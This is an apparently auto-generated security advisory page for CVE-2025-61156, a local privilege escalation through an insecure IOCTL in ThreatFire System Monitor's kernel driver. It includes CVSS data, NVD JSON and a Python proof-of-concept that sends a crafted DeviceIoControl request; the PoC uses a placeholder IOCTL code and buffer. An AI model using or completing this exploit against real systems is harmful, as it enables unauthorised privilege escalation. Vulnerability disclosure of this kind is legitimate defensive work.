Security Vulnerability Report
中文
CVE-2025-61156 CVSS 7.8 HIGH

CVE-2025-61156

Published: 2025-10-29 15:15:44
Last Modified: 2026-04-15 00:35:42

Description

Incorrect access control in the kernel driver of ThreatFire System Monitor v4.7.0.53 allows attackers to escalate privileges and execute arbitrary commands via an insecure IOCTL.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ThreatFire System Monitor <= v4.7.0.53

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-61156 PoC - ThreatFire System Monitor Local Privilege Escalation Author: D7EAD Note: This is a conceptual PoC for educational purposes only. """ import ctypes import sys import struct # Windows API definitions GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 FILE_SHARE_READ = 0x00000001 FILE_SHARE_WRITE = 0x00000002 OPEN_EXISTING = 3 # IOCTL codes (specific values depend on reverse engineering) THREATFIRE_IOCTL_CODE = 0x9A0D0004 # Example IOCTL code # Device name DEVICE_NAME = "\\\\.\\\\ThreatFire" def open_driver(): """Open handle to ThreatFire driver""" kernel32 = ctypes.windll.kernel32 handle = kernel32.CreateFileA( DEVICE_NAME.encode(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, None, OPEN_EXISTING, 0, None ) if handle == -1 or handle == 0: print("[-] Failed to open driver handle") return None print(f"[+] Driver handle opened: {handle}") return handle def exploit(handle): """Exploit the insecure IOCTL to escalate privileges""" kernel32 = ctypes.windll.kernel32 # Prepare exploit payload # This would contain shellcode or commands to execute input_buffer = struct.pack('<Q', 0x4141414141414141) # Placeholder output_buffer = ctypes.create_string_buffer(1024) bytes_returned = ctypes.c_ulong() # Send malicious IOCTL request result = kernel32.DeviceIoControl( handle, THREATFIRE_IOCTL_CODE, input_buffer, len(input_buffer), output_buffer, len(output_buffer), ctypes.byref(bytes_returned), None ) if result: print("[+] IOCTL request sent successfully") print("[*] Privilege escalation should be achieved") else: print(f"[-] IOCTL request failed: {kernel32.GetLastError()}") def main(): print("[*] CVE-2025-61156 ThreatFire System Monitor LPE PoC") print("[*] Target: ThreatFire System Monitor <= v4.7.0.53\n") handle = open_driver() if handle: exploit(handle) kernel32 = ctypes.windll.kernel32 kernel32.CloseHandle(handle) print("[*] Done") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61156", "sourceIdentifier": "[email protected]", "published": "2025-10-29T15:15:43.577", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect access control in the kernel driver of ThreatFire System Monitor v4.7.0.53 allows attackers to escalate privileges and execute arbitrary commands via an insecure IOCTL."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://github.com/D7EAD", "source": "[email protected]"}, {"url": "https://github.com/D7EAD/CVE-2025-61156", "source": "[email protected]"}, {"url": "https://threatfire.informer.com/download/", "source": "[email protected]"}]}}